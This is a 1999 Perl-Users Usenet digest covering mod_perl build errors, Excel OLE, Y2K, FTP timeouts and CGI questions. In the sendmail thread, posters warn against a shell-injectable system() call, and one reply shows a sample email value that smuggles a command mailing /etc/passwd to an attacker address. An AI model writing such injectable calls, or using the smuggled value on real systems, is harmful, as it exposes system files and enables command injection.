[13835] in Perl-Users-Digest
Perl-Users Digest, Issue: 1245 Volume: 9
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Mon Nov 1 15:10:39 1999
Date: Mon, 1 Nov 1999 12:10:22 -0800 (PST)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Message-Id: <941487022-v9-i1245@ruby.oce.orst.edu>
Content-Type: text
Perl-Users Digest Mon, 1 Nov 1999 Volume: 9 Number: 1245
Today's topics:
mod_perl installation problem <aboudeif@pixelpark.com>
Re: Need routine to find banned or "Bad" words <cassell@mail.cor.epa.gov>
Perl & Excel FitToPages Settings morgand@att.com
Perl Application Server? <otis@my-deja.com>
Re: Perl disallowed at ACM programming contests? (Mark W. Schumann)
Re: Perl script to check OS system <cassell@mail.cor.epa.gov>
Re: Perl4 and Y2K (Craig Berry)
Re: Perl4 and Y2K (Paul Kimoto)
Re: Perl4 and Y2K (Kragen Sitaker)
Re: Please Perl, do what I ask !! <ralawrence@my-deja.com>
Problem with perl and MSIE5 apogee101@my-deja.com
Re: Quick Question <cassell@mail.cor.epa.gov>
Re: Reinventing the wheel (Ilya Zakharevich)
Re: Scripts that invoke one another via Location: and/o <jeff@vpservices.com>
Re: sendmail question (Randal L. Schwartz)
Re: sendmail question (Kragen Sitaker)
Re: Simple socket question <aqumsieh@matrox.com>
Re: simplifying a script <vandenbNOSPAM@cistron.nl>
Re: simplifying a script <cassell@mail.cor.epa.gov>
speeding up split() <r28629@email.sps.mot.com>
Re: Sub in which module <msouth@shodor.org>
Re: Thanks and Follow-up (was: RFC: Making array using <lr@hpl.hp.com>
Re: Thanks and Follow-up (was: RFC: Making array using <uri@sysarch.com>
Re: Threads in Perl 5.005_03 <charlie@mother.com>
Weird uninitailized value <johnny@my-deja.com>
Re: What makes the web go? (Mark W. Schumann)
Digest Administrivia (Last modified: 16 Sep 99) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: Mon, 01 Nov 1999 18:11:21 +0100
From: ottmar deifke <aboudeif@pixelpark.com>
Subject: mod_perl installation problem
Message-Id: <381DC9B9.B1B431C1@pixelpark.com>
Dear newsgroup,
I am researching this problem for a while and running out of ideas. also
i
searched the web, faq, mailinglist, dejanews etc. without finding a
hint.
I am trying to compile apache with mod_perl using APACI on 2 machines,
machine 1 is running Solaris 2.6 and machine 2 is running solaris 2.7.
Both machines using the same configuration script, and the same
apache-source
and mod_perl-source through NFS. its not even a copy, its the same.
Both machines have perl installed in /www/apps/perl.
Each Perl was configured and installed statically (libperl.a) (perl
-V output is below), and differs only in their libpath directorys.
NONE OF THE LIBDIRS CONTAIN EITHER LIBPERL.SO OR LIBPERL.A.
Now the Problem:
When configuring and making on machine 1, everything runs fine.
When configuring and making on machine 2, (gnu-) make errors:
ld.so.1: ./gen_test_char: fatal: libperl.so: open failed: No such file
or directory
(full output below)
I really cant figure out why libperl.so is needed on machine 2.
It was my intention to build perl with libperl.a,
and believe that I provided configure with all necessary options to do
so.
also, perl -V outputs: useshrplib=false, libperl=libperl.a
Id really appreciate any help in this matter.
let me know if you need any additional information.
Thanks in advance
omar
Below is the output of apache|mod-perl|perl -V on both machines|gnu make
error.
The mod_perl-configure-script (used on both machines)
=====================================================
#!/bin/sh
cd ../modules/mod_perl
echo "Configuring mod_perl in:"
pwd
/www/apps/perl/bin/perl Makefile.PL \
APACHE_SRC=../../apache/apache/src \
DO_HTTPD=0 \
USE_APACI=1 \
EVERYTHING=1
#USE_DSO=0
The apache-configure script
===========================
#!/bin/sh
LIBS='-lgdbm'
export LIBS
CFLAGS='-R/www/lib -L/www/lib -DDYNAMIC_MODULE_LIMIT=0'
export CFLAGS
INCLUDES='-I/park/pub/include'
export INCLUDES
cd ../apache/apache
echo "Configuring Apache in:"
pwd
./configure --prefix=/www \
--bindir=/www/bin \
--sbindir=/www/bin \
--libexecdir=/www/lib \
--mandir=/www/man \
--sysconfdir=/www/conf \
--datadir=/www/htdocs \
--includedir=/www/include \
--localstatedir=/www/logs \
--runtimedir=/www/logs \
--logfiledir=/www/logs \
--proxycachedir=/www/logs \
--enable-module=most \
--enable-module=log_agent\
--enable-module=log_referer\
--disable-module=ssl \
--disable-module=define \
--disable-module=mime_magic \
--disable-module=speling \
--disable-module=proxy \
--disable-module=digest \
--disable-module=usertrack \
--disable-module=unique_id \
--activate-module=src/modules/perl/libperl.a \
--with-perl=/www/bin/perl
PERL -V OUTPUT ON MACHINE 1
===========================
[westerland:/home/aboudeif] /www/apps/perl/bin/perl -V
Summary of my perl5 (5.0 patchlevel 5 subversion 3) configuration:
Platform:
osname=solaris, osvers=2.6, archname=sun4-solaris
uname='sunos westerland 5.6 generic_105181-13 sun4u sparc
sunw,ultra-4 '
hint=recommended, useposix=true, d_sigaction=define
usethreads=undef useperlio=undef d_sfio=undef
Compiler:
cc='gcc -B/usr/ccs/bin/', optimize='-O', gccversion=2.95.1 19990816
(release)
cppflags='-I/opt/local/include -I/opt/gnu/include'
ccflags ='-I/opt/local/include -I/opt/gnu/include'
stdchar='unsigned char', d_stdstdio=define, usevfork=false
intsize=4, longsize=4, ptrsize=4, doublesize=8
d_longlong=define, longlongsize=8, d_longdbl=define, longdblsize=16
alignbytes=8, usemymalloc=y, prototype=define
Linker and Libraries:
ld='gcc -B/usr/ccs/bin/', ldflags =' -L/opt/local/lib
-L/opt/gnu/lib'
libpth=/opt/local/lib /opt/gnu/lib /lib /usr/lib /usr/ccs/lib
/www/lib
libs=-lsocket -lnsl -lgdbm -ldl -lm -lc -lcrypt
libc=/lib/libc.so, so=so, useshrplib=false, libperl=libperl.a
Dynamic Linking:
dlsrc=dl_dlopen.xs, dlext=so, d_dlsymun=undef, ccdlflags=' '
cccdlflags='-fPIC', lddlflags='-G -L/opt/local/lib -L/opt/gnu/lib'
Characteristics of this binary (from libperl):
Built under solaris
Compiled at Sep 10 1999 18:29:47
@INC:
/www/apps/perl/lib/5.00503/sun4-solaris
/www/apps/perl/lib/5.00503
/www/apps/perl/lib/site_perl/5.005/sun4-solaris
/www/apps/perl/lib/site_perl/5.005
PERL -V OUTPUT ON MACHINE 2
===========================
[gotland:/park/pub/source/www/apache/apache] /www/apps/perl/bin/perl -V
Summary of my perl5 (5.0 patchlevel 5 subversion 3) configuration:
Platform:
osname=solaris, osvers=2.7, archname=sun4-solaris
uname='sunos gotland 5.7 generic_106541-07 sun4u sparc sunw,ultra-4
'
hint=recommended, useposix=true, d_sigaction=define
usethreads=undef useperlio=undef d_sfio=undef
Compiler:
cc='gcc -B/usr/ccs/bin/', optimize='-O', gccversion=2.95.1 19990816
(release)
cppflags=''
ccflags =''
stdchar='char', d_stdstdio=define, usevfork=false
intsize=4, longsize=4, ptrsize=4, doublesize=8
d_longlong=define, longlongsize=8, d_longdbl=define, longdblsize=16
alignbytes=8, usemymalloc=y, prototype=define
Linker and Libraries:
ld='gcc -B/usr/ccs/bin/', ldflags ='-L/www/lib -R/www/lib'
libpth=/www/lib /lib /usr/lib /usr/ccs/lib
libs=-lsocket -lnsl -lgdbm -ldl -lm -lc -lcrypt
libc=/lib/libc.so, so=so, useshrplib=false, libperl=libperl.a
Dynamic Linking:
dlsrc=dl_dlopen.xs, dlext=so, d_dlsymun=undef, ccdlflags=' '
cccdlflags='-fPIC', lddlflags='-G -L/www/lib'
Characteristics of this binary (from libperl):
Built under solaris
Compiled at Oct 20 1999 16:38:51
@INC:
/www/apps/perl/lib/5.00503/sun4-solaris
/www/apps/perl/lib/5.00503
/www/apps/perl/lib/site_perl/5.005/sun4-solaris
/www/apps/perl/lib/site_perl/5.005
THE FULL ERROR ON MACHINE 2:
============================
[gotland:/park/pub/source/www/apache/apache] gmake
===> src
gmake[1]: Entering directory `/park/pub/source/www/apache/apache_1.3.9'
gmake[2]: Entering directory
`/park/pub/source/www/apache/apache_1.3.9/src'
===> src/os/unix
gmake[3]: Entering directory
`/park/pub/source/www/apache/apache_1.3.9/src/os/unix'
gcc -c -I../.. -I/www/apps/perl/lib/5.00503/sun4-solaris/CORE
-I../../os/unix -I../../include -I/park/pub/include -DSOLARIS2=270
-DMOD_PERL - DUSE_PERL_SSI -DUSE_EXPAT -I../../lib/expat-lite
-R/www/lib -L/www/lib -DDYNAMIC_MODULE_LIMIT=0 `../../apaci` os.c
gcc -c -I../.. -I/www/apps/perl/lib/5.00503/sun4-solaris/CORE
-I../../os/unix -I../../include -I/park/pub/include -DSOLARIS2=270
-DMOD_PERL - DUSE_PERL_SSI -DUSE_EXPAT -I../../lib/expat-lite
-R/www/lib -L/www/lib -DDYNAMIC_MODULE_LIMIT=0 `../../apaci` os-inline.c
rm -f libos.a
ar cr libos.a os.o os-inline.o
ranlib libos.a
gmake[3]: Leaving directory
`/park/pub/source/www/apache/apache_1.3.9/src/os/unix'
<=== src/os/unix
===> src/ap
gmake[3]: Entering directory
`/park/pub/source/www/apache/apache_1.3.9/src/ap'
gcc -c -I.. -I/www/apps/perl/lib/5.00503/sun4-solaris/CORE
-I../os/unix -I../include -I/park/pub/include -DSOLARIS2=270 -DMOD_PERL
-DUSE_PERL _SSI -DUSE_EXPAT -I../lib/expat-lite -R/www/lib
-L/www/lib -DDYNAMIC_MODULE_LIMIT=0 `../apaci` ap_cpystrn.c
gcc -c -I.. -I/www/apps/perl/lib/5.00503/sun4-solaris/CORE
-I../os/unix -I../include -I/park/pub/include -DSOLARIS2=270 -DMOD_PERL
-DUSE_PERL _SSI -DUSE_EXPAT -I../lib/expat-lite -R/www/lib
-L/www/lib -DDYNAMIC_MODULE_LIMIT=0 `../apaci` ap_execve.c
gcc -c -I.. -I/www/apps/perl/lib/5.00503/sun4-solaris/CORE
-I../os/unix -I../include -I/park/pub/include -DSOLARIS2=270 -DMOD_PERL
-DUSE_PERL _SSI -DUSE_EXPAT -I../lib/expat-lite -R/www/lib
-L/www/lib -DDYNAMIC_MODULE_LIMIT=0 `../apaci` ap_fnmatch.c
gcc -c -I.. -I/www/apps/perl/lib/5.00503/sun4-solaris/CORE
-I../os/unix -I../include -I/park/pub/include -DSOLARIS2=270 -DMOD_PERL
-DUSE_PERL _SSI -DUSE_EXPAT -I../lib/expat-lite -R/www/lib
-L/www/lib -DDYNAMIC_MODULE_LIMIT=0 `../apaci` ap_getpass.c
gcc -c -I.. -I/www/apps/perl/lib/5.00503/sun4-solaris/CORE
-I../os/unix -I../include -I/park/pub/include -DSOLARIS2=270 -DMOD_PERL
-DUSE_PERL _SSI -DUSE_EXPAT -I../lib/expat-lite -R/www/lib
-L/www/lib -DDYNAMIC_MODULE_LIMIT=0 `../apaci` ap_md5c.c
gcc -c -I.. -I/www/apps/perl/lib/5.00503/sun4-solaris/CORE
-I../os/unix -I../include -I/park/pub/include -DSOLARIS2=270 -DMOD_PERL
-DUSE_PERL _SSI -DUSE_EXPAT -I../lib/expat-lite -R/www/lib
-L/www/lib -DDYNAMIC_MODULE_LIMIT=0 `../apaci` ap_signal.c
gcc -c -I.. -I/www/apps/perl/lib/5.00503/sun4-solaris/CORE
-I../os/unix -I../include -I/park/pub/include -DSOLARIS2=270 -DMOD_PERL
-DUSE_PERL _SSI -DUSE_EXPAT -I../lib/expat-lite -R/www/lib
-L/www/lib -DDYNAMIC_MODULE_LIMIT=0 `../apaci` ap_slack.c
gcc -c -I.. -I/www/apps/perl/lib/5.00503/sun4-solaris/CORE
-I../os/unix -I../include -I/park/pub/include -DSOLARIS2=270 -DMOD_PERL
-DUSE_PERL _SSI -DUSE_EXPAT -I../lib/expat-lite -R/www/lib
-L/www/lib -DDYNAMIC_MODULE_LIMIT=0 `../apaci` ap_snprintf.c
gcc -c -I.. -I/www/apps/perl/lib/5.00503/sun4-solaris/CORE
-I../os/unix -I../include -I/park/pub/include -DSOLARIS2=270 -DMOD_PERL
-DUSE_PERL _SSI -DUSE_EXPAT -I../lib/expat-lite -R/www/lib
-L/www/lib -DDYNAMIC_MODULE_LIMIT=0 `../apaci` ap_sha1.c
gcc -c -I.. -I/www/apps/perl/lib/5.00503/sun4-solaris/CORE
-I../os/unix -I../include -I/park/pub/include -DSOLARIS2=270 -DMOD_PERL
-DUSE_PERL _SSI -DUSE_EXPAT -I../lib/expat-lite -R/www/lib
-L/www/lib -DDYNAMIC_MODULE_LIMIT=0 `../apaci` ap_checkpass.c
gcc -c -I.. -I/www/apps/perl/lib/5.00503/sun4-solaris/CORE
-I../os/unix -I../include -I/park/pub/include -DSOLARIS2=270 -DMOD_PERL
-DUSE_PERL _SSI -DUSE_EXPAT -I../lib/expat-lite -R/www/lib
-L/www/lib -DDYNAMIC_MODULE_LIMIT=0 `../apaci` ap_base64.c
gcc -c -I.. -I/www/apps/perl/lib/5.00503/sun4-solaris/CORE
-I../os/unix -I../include -I/park/pub/include -DSOLARIS2=270 -DMOD_PERL
-DUSE_PERL _SSI -DUSE_EXPAT -I../lib/expat-lite -R/www/lib
-L/www/lib -DDYNAMIC_MODULE_LIMIT=0 `../apaci` ap_hook.c
gcc -c -I.. -I/www/apps/perl/lib/5.00503/sun4-solaris/CORE
-I../os/unix -I../include -I/park/pub/include -DSOLARIS2=270 -DMOD_PERL
-DUSE_PERL _SSI -DUSE_EXPAT -I../lib/expat-lite -R/www/lib
-L/www/lib -DDYNAMIC_MODULE_LIMIT=0 `../apaci` ap_ctx.c
gcc -c -I.. -I/www/apps/perl/lib/5.00503/sun4-solaris/CORE
-I../os/unix -I../include -I/park/pub/include -DSOLARIS2=270 -DMOD_PERL
-DUSE_PERL _SSI -DUSE_EXPAT -I../lib/expat-lite -R/www/lib
-L/www/lib -DDYNAMIC_MODULE_LIMIT=0 `../apaci` ap_mm.c
rm -f libap.a
ar cr libap.a ap_cpystrn.o ap_execve.o ap_fnmatch.o ap_getpass.o
ap_md5c.o ap_signal.o ap_slack.o ap_snprintf.o ap_sha1.o ap_checkpass.o
ap_base 64.o ap_hook.o ap_ctx.o ap_mm.o
ranlib libap.a
gmake[3]: Leaving directory
`/park/pub/source/www/apache/apache_1.3.9/src/ap'
<=== src/ap
===> src/main
gmake[3]: Entering directory
`/park/pub/source/www/apache/apache_1.3.9/src/main'
gcc -c -I.. -I/www/apps/perl/lib/5.00503/sun4-solaris/CORE
-I../os/unix -I../include -I/park/pub/include -DSOLARIS2=270 -DMOD_PERL
-DUSE_PERL_SSI -DUSE_EXPAT -I../lib/expat-lite -R/www/lib -L/www/lib
-DDYNAMIC_MODULE_LIMIT=0 `../apaci` gen_test_char.c
gcc -DSOLARIS2=270 -DMOD_PERL -DUSE_PERL_SSI -DUSE_EXPAT
-I../lib/expat-lite -R/www/lib -L/www/lib -DDYNAMIC_MODULE_LIMIT=0
`../apaci` -o gen_test_char gen_test_char.o -lgdbm -lsocket -lnsl
-L/www/lib -R/www/lib
/www/apps/perl/lib/5.00503/sun4-solaris/auto/DynaLoader/DynaLoader.a
-L/www/apps/perl/lib/5.00503/sun4-solaris/CORE -lperl -lsocket -lnsl
-lgdbm -ldl -lm -lc -lcrypt
./gen_test_char >test_char.h
ld.so.1: ./gen_test_char: fatal: libperl.so: open failed: No such file
or directory
Killed
gmake[3]: *** [test_char.h] Error 137
gmake[3]: Leaving directory
`/park/pub/source/www/apache/apache_1.3.9/src/main'
gmake[2]: *** [subdirs] Error 1
gmake[2]: Leaving directory
`/park/pub/source/www/apache/apache_1.3.9/src'
gmake[1]: *** [build-std] Error 2
gmake[1]: Leaving directory `/park/pub/source/www/apache/apache_1.3.9'
gmake: *** [build] Error 2
--
regards,
()mar /\bou |)eif
------------------------------
Date: Mon, 01 Nov 1999 11:58:31 -0800
From: David Cassell <cassell@mail.cor.epa.gov>
Subject: Re: Need routine to find banned or "Bad" words
Message-Id: <381DF0E7.6338B7CA@mail.cor.epa.gov>
Geoff Roberts wrote:
> Hi,
Howdy,
> I was after a routine that I could use to look up either reserved or
> banned words (eg. rude or offensive words and system reserved words).
> This is primarily for logins and email addresses.
>
> Does anyone know of such a routine? Does anyone also know of any
> dictionary files that might contain such words?
This has been discussed here before. I don't recall any such
list, or any pointer to a list. You'll just have to make up your
own. But consider how you'll handle these usernames:
$h!thead
f_u_c_k_y_o_u
fsck_my_disk [this is a legal request to a helpdesk, too]
Since the user can alter one or more letters, or add some
punctuation between letters, how will you decide what to
refuse? OTOH, the more flexible you make your rejection
criteria, the more often you will reject legit names.
David
--
David Cassell, OAO cassell@mail.cor.epa.gov
Senior computing specialist
mathematical statistician
------------------------------
Date: Mon, 01 Nov 1999 18:26:36 GMT
From: morgand@att.com
Subject: Perl & Excel FitToPages Settings
Message-Id: <7vkm0n$d1q$1@nnrp1.deja.com>
Can anyone suggest a reason why the FitToPagesWide and FitToPagesTall
settings in the perl code below aren't effective in Excel 97? The
effect is that the appropriate values are plugged into the "wide"
and "tall" boxes in the PageSetup dialog, but the radio button next to
"Adjust to:" (as opposed to the one next to "Fit to:") remains checked,
causing the FitToPages settings to be ignored.
# Create the Excel object
use OLE;
$application = CreateObject OLE 'Excel.Application' || die $!;
# Make it visible for debugging purposes.
$application->{'Visible'} = 1;
# Create a new workbook.
$testworkbook = $application->Workbooks->Add();
# Make an object of the first worksheet.
$testsheet = $testworkbook->Worksheets(1);
# Turn zoom off so we can use FitToPages
$testsheet->PageSetup->{'Zoom'} = 0;
# Set to 1 page wide by 1 page tall
$testsheet->PageSetup->{'FitToPagesWide'} = 1;
$testsheet->PageSetup->{'FitToPagesTall'} = 2;
The VBA equivalent of this code seems to work, so I suspect this is
either an OLE problem, a perl problem, or a me problem.
Thanks in advance for any help.
Dale Morgan
morgand@att.com
Sent via Deja.com http://www.deja.com/
Before you buy.
------------------------------
Date: Mon, 01 Nov 1999 18:31:20 GMT
From: Otis Gospodnetic <otis@my-deja.com>
Subject: Perl Application Server?
Message-Id: <7vkm9o$dd1$1@nnrp1.deja.com>
Hello,
Are there any Application Servers implemented in perl out there?
Anything like Zope (www.zope.org - Python) maybe?
Thank you,
Otis
--
InfoJump - The Article Search Engine
- 5,000,000 articles from 4,000 periodicals
- http://www.infojump.com/?dn
Sent via Deja.com http://www.deja.com/
Before you buy.
------------------------------
Date: 1 Nov 1999 13:06:53 -0500
From: catfood@apk.net (Mark W. Schumann)
Subject: Re: Perl disallowed at ACM programming contests?
Message-Id: <7vkkrt$gb6@junior.apk.net>
In article <6y7lk2ed01.fsf@anu.edu.au>,
Tim Potter <Tim.Potter@anu.edu.au> wrote:
>bart.lateur@skynet.be (Bart Lateur) writes:
>> Mark W. Schumann wrote:
>>
>> >This is just killing me. ACM is now handing out Visual C++ as a
>> >"prize"?
>>
>> They probably got it somewhere for free.
>
>For some reason all the ACM programming competitions I've seen have
>been sponsored by Microsoft.
I suppose it would be weird to give away a copy of g++.
Maybe the Knuth encyclopedia?
>I didn't know what to do with my prize either. (-: It think it was
>some odd version of Visual Basic.
Oh, now _that's_ a contribution to computer science. Never mind my
complaint.
------------------------------
Date: Mon, 01 Nov 1999 11:06:14 -0800
From: David Cassell <cassell@mail.cor.epa.gov>
Subject: Re: Perl script to check OS system
Message-Id: <381DE4A6.A991DAB@mail.cor.epa.gov>
Martien Verbruggen wrote:
>
> On Fri, 29 Oct 1999 18:01:45 -0700,
> Hai Do <hdo@ea.com> wrote:
[snip]
> > return the platform name. Is there any Perl built-in command or module to
> > check the OS? Please help.
>
> OS name (which seems to be the only thing you need)
> # perl -le 'print $^O'
> # perl -MEnglish -le 'print $OSNAME'
[snip of other approaches]
And, since ActiveState Perl runs on both win95/98 and WinNT,
there is a specific function Win32::IsWinNT() which comes
with the install, so one can check.
David
--
David Cassell, OAO cassell@mail.cor.epa.gov
Senior computing specialist
mathematical statistician
------------------------------
Date: Mon, 01 Nov 1999 17:17:17 GMT
From: cberry@cinenet.net (Craig Berry)
Subject: Re: Perl4 and Y2K
Message-Id: <s1riot4fqof80@corp.supernews.com>
Kragen Sitaker (kragen@dnaco.net) wrote:
: In article <m1yacjz7ov.fsf@halfdome.holdit.com>,
: Randal L. Schwartz <merlyn@stonehenge.com> wrote:
: >Just a reminder since we're now just two months away from the
: >rollover:
: >
: > THERE ARE NO PLANS TO MAKE ANY VERSION OF PERL PRIOR TO
: > PERL VERSION 5 Y2K COMPLIANT.
: >
: >Be sure your boss knows. Upgrade now, or be sorry!
:
: People who haven't upgraded from Perl4 yet are surely sorry already.
:
: But what's wrong with Perl4 Y2K-wise?
(Oh, no...)
Hey! Any managers reading this newsgroup! Yeah, both of you! Look, over
there, away from the screen, there's a...um...a nice brightly-colored pie
chart! Ooooh, quick, don't miss it!
<mode audience=techies-only>
sssshhhhh...read the above carefully. It is a lovely piece of FUD aimed
at providing us poor engineers with a lever with which to force our bosses
to authorize an upgrade to Perl 5. *We* know that 'there are no plans'
because there don't *need* to be any plans. They don't. :)
</mode>
Huh, it wasn't there? Wow, I'm sorry. Maybe down in the conference room?
Yeah. Good luck.
--
| Craig Berry - cberry@cinenet.net
--*-- http://www.cinenet.net/users/cberry/home.html
| "They do not preach that their God will rouse them
a little before the nuts work loose." - Kipling
------------------------------
Date: 1 Nov 1999 12:48:12 -0500
From: kimoto@lightlink.com (Paul Kimoto)
Subject: Re: Perl4 and Y2K
Message-Id: <slrn81rkis.6jj.kimoto@adore.lightlink.com>
In article <s1riot4fqof80@corp.supernews.com>, Craig Berry wrote:
> <mode audience=techies-only>
> sssshhhhh...read the above carefully. It is a lovely piece of FUD aimed
> at providing us poor engineers with a lever with which to force our bosses
> to authorize an upgrade to Perl 5. *We* know that 'there are no plans'
> because there don't *need* to be any plans. They don't. :)
> </mode>
And, equally true, there are no plans to fix _any_ bugs in perl4.
(Or, even better, there are plans to fix _no_ bugs in perl4.)
--
Paul Kimoto <kimoto@lightlink.com>
------------------------------
Date: Mon, 01 Nov 1999 19:06:25 GMT
From: kragen@dnaco.net (Kragen Sitaker)
Subject: Re: Perl4 and Y2K
Message-Id: <RwlT3.17135$23.943005@typ11.nn.bcandid.com>
In article <s1riot4fqof80@corp.supernews.com>,
Craig Berry <cberry@cinenet.net> wrote:
><mode audience=techies-only>
>sssshhhhh...read the above carefully. It is a lovely piece of FUD aimed
>at providing us poor engineers with a lever with which to force our bosses
>to authorize an upgrade to Perl 5. *We* know that 'there are no plans'
>because there don't *need* to be any plans. They don't. :)
></mode>
If someone doesn't want to upgrade software on the merits of the facts,
it is dishonest to try to get them to believe falsehoods in order to
manipulate them into doing what you want. This is true regardless of
whether or not the victim is your boss.
I am quite surprised that Randal would do such a thing, but he has
confirmed it beyond any reasonable doubt.
I understand that many companies have incompetent people in positions
of power, and that this is frustrating to those who are subject to
those people's whims. I have worked with some of them myself. I do
not believe that attempting to influence these people by deception is
likely to cause the situation to change for the better. Manipulating
incompetent decision-makers to do the right thing by means of deception
enables those decision-makers to remain decision-makers, and worse, it
inculcates a habit of deception among those who advise them and makes
them dependent upon it.
I define 'deception' as 'an attempt to cause someone to believe
something that is not true'. It is true that Randal did not say
anything that was false, but he was nevertheless practicing deception.
--
<kragen@pobox.com> Kragen Sitaker <http://www.pobox.com/~kragen/>
Mon Nov 01 1999
7 days until the Internet stock bubble bursts on Monday, 1999-11-08.
<URL:http://www.pobox.com/~kragen/bubble.html>
------------------------------
Date: Mon, 01 Nov 1999 18:05:57 GMT
From: Richard Lawrence <ralawrence@my-deja.com>
Subject: Re: Please Perl, do what I ask !!
Message-Id: <7vkkq2$c45$1@nnrp1.deja.com>
In article <7vkcm0$5ne$1@nnrp1.deja.com>,
Richard Lawrence <ralawrence@my-deja.com> wrote:
> Hello all!
>
> I seem to have a few problems with perl and with it not doing what I
> want it to do. Could someone please put me back on the right track?
Following from my previous posts - this bit of code illustrates my
problem exactly. For me 24.65.121.150 is a running site but has an FTP
server which is very slow:
#!/usr/bin/perl
use Net::FTP;
eval
{
local $SIG{ALRM} = sub { die "alarm\n" };
alarm 10;
print "Starting ... ";
$ftp = Net::FTP->new("24.65.121.150", Timeout => 10);
print "here\n";
alarm 0;
};
if ($@)
{
die unless $@ eq "alarm\n";
print "timeout!\n";
}
The two main problems are:
1. The "Timeout => 10" fails to work.
2. The alarm fails to kick in after 10 seconds.
So basically this bit of code just hangs.
Two things failing?? Have I missed the point of alarms and timeouts
entirely?
Regards
Rich
Sent via Deja.com http://www.deja.com/
Before you buy.
------------------------------
Date: Mon, 01 Nov 1999 17:29:46 GMT
From: apogee101@my-deja.com
Subject: Problem with perl and MSIE5
Message-Id: <7vkim4$agr$1@nnrp1.deja.com>
Might be sort of a newbie question, if it is, I'm sorry ...
I'm fairly new to the field of CGI programming with perl, and I've now
successfully written my script, It's called by a form, and delivers back
a http/HTML page. If I call it from the form in NS4, it works fine.
However, if I call it in MSIE5 from that same form, instead of
displaying the generated HTML document, the browser first warns me that
I'm trying to download a file called "myscript.pl" or "myscript.cgi",
I've tried both, and then opens the raw HTML text in Notepad.
Can anybody tell me what stupid mistake I'm making?
Kind regards,
Mike
Sent via Deja.com http://www.deja.com/
Before you buy.
------------------------------
Date: Mon, 01 Nov 1999 11:36:16 -0800
From: David Cassell <cassell@mail.cor.epa.gov>
Subject: Re: Quick Question
Message-Id: <381DEBB0.4166FCD0@mail.cor.epa.gov>
revjack wrote:
>
> Has anybody ever thought that maybe perl isn't real?
> I mean, like, maybe it's some sort of weird media
> invention, and not, in fact, real?
Perl isn't real. It's an Urban Legend. Haven't you noticed?
You only hear about it from a 'friend of a friend'. The same
stories with minor revisions keep repeating:
The Java programmer who takes out his shotgun and shoots the
Perl program, which falls over on him and kills him.
The programmer who buys a copy of Perl from Nieman-Marcus
and gets charged $1200 and so gives it away to everyone on
the Net. [The last I heard, someone at www.activestate.com
was claiming to be giving Perl away for free.]
The CGI script writer who gets Perl from South America, and
a deadly python comes out of it and bites her.
The insane Perl guru who has a hook for a hand, and who
has escaped from an O'Reilly institution.
The CGI coder who picks up a female Perl programmer on the
roadside, and when he drives her home she has vanished from
his car.
and so many more...
They're all Urban Legends. In fact, when you return to
Usenet, this group will have disappeared...
> I have a friend who was wondering about this.
Hmmm. Your shrink didn't buy that 'my friend' ruse either. :-)
David
--
David Cassell, OAO cassell@mail.cor.epa.gov
Senior computing specialist
mathematical statistician
------------------------------
Date: 1 Nov 1999 19:06:17 GMT
From: ilya@math.ohio-state.edu (Ilya Zakharevich)
Subject: Re: Reinventing the wheel
Message-Id: <7vkob9$193$1@charm.magnus.acs.ohio-state.edu>
[A complimentary Cc of this posting was sent to Csaba Raduly
<csaba.raduly@sophos.com>],
who wrote in article <381D6F4E.C9932FDD@sophos.com>:
> $directory = <>;
> $directory =~ s/(.*)\\\*\.\*$/$1/; # try to lose the *.* at the end
> $_=<>; # lose the header
> $_=<>; # lose the lines
>
> while(<>)
> {
> ... do whatever necessary
I repeat what I wrote yesterday: *never* combine <> with while (<>).
If you are *forced* to combine them, die if the result of the
standalone <> is undefined.
Ilya
------------------------------
Date: 1 Nov 1999 18:05:25 GMT
From: Jeff Zucker <jeff@vpservices.com>
Subject: Re: Scripts that invoke one another via Location: and/or URI: - environment persistence?
Message-Id: <381DD62A.E3C42CFD@vpservices.com>
Larry Rosler wrote:
>
> When the need arose, I set up a sophisticated webcounting system that
> now has several hundred satisfied users. It uses various techniques to
> deal with proxying and caches -- the things that folklore here says make
> counters useless.
Can you give some hints/samples/code showing your approach? So many
have said so loudly that it ain't worth the effort that I am intrigued.
>
> > [$counters ne 'useless']
>
> Right on! I would have commented on this prejudice long sooner, but it
> is really off-topic for a Perl newsgroup. And it still is.
Gee, I'd sure like to hear your thinking on this, I have yet to hear
that side of the argument from someone as in-the-know as you. Here,
even if OT? In another NG? Email?
--
Jeff
------------------------------
Date: 01 Nov 1999 09:41:26 -0800
From: merlyn@stonehenge.com (Randal L. Schwartz)
Subject: Re: sendmail question
Message-Id: <m1u2n6rtx5.fsf@halfdome.holdit.com>
>>>>> "Jason" == Jason D <_ncc1701d@storage2000.com_> writes:
Jason> The otherway that your could do this would be to use the mail command Unix..
Jason> (This is off the top of my head)
Jason> $x="$content|mail $email -s Subject";
Jason> system($x);
You need to sharpen that point on the top of your head. :)
This code won't work, and is dangerous. Don't send mail with
/bin/mail, if it might be Berkeley mail. Don't put the email address
where the shell can get it. Don't send content by executing it as an
"echo" operation (even though that's absent above).
In fact, this posting is a pretty good summary of all the ways NOT
to do something. :) :)
I'm sure someone else will post a better solution, but I wanted to
block people from trying this solution.
print "Just another Perl hacker,"
--
Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095
<merlyn@stonehenge.com> <URL:http://www.stonehenge.com/merlyn/>
Perl/Unix/security consulting, Technical writing, Comedy, etc. etc.
See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training!
------------------------------
Date: Mon, 01 Nov 1999 18:52:57 GMT
From: kragen@dnaco.net (Kragen Sitaker)
Subject: Re: sendmail question
Message-Id: <dklT3.17103$23.944586@typ11.nn.bcandid.com>
In article <sEiT3.1815$bi6.1200@news2.randori.com>,
Jason D <_ncc1701d@storage2000.com_> wrote:
>The otherway that your could do this would be to use the mail command Unix..
>
>(This is off the top of my head)
>
>$x="$content|mail $email -s Subject";
>system($x);
Depending on where $email came from, this could be a really, really bad
idea. (What if $email is "`mail evil@hotmail.com < /etc/passwd
>/dev/null 2>&1; echo innocent@example.com`"?)
The original script posted should work perfectly, and is admirably free
of the common security flaw you exhibit above. I cannot imagine how
the test "Subject" is getting mutated into nothing. Perhaps the
original poster was posting a "reduced" version of their problem, as
recommended, but unfortunately reduced it a little too far? Or perhaps
their sendmail is broken?
--
<kragen@pobox.com> Kragen Sitaker <http://www.pobox.com/~kragen/>
Mon Nov 01 1999
7 days until the Internet stock bubble bursts on Monday, 1999-11-08.
<URL:http://www.pobox.com/~kragen/bubble.html>
------------------------------
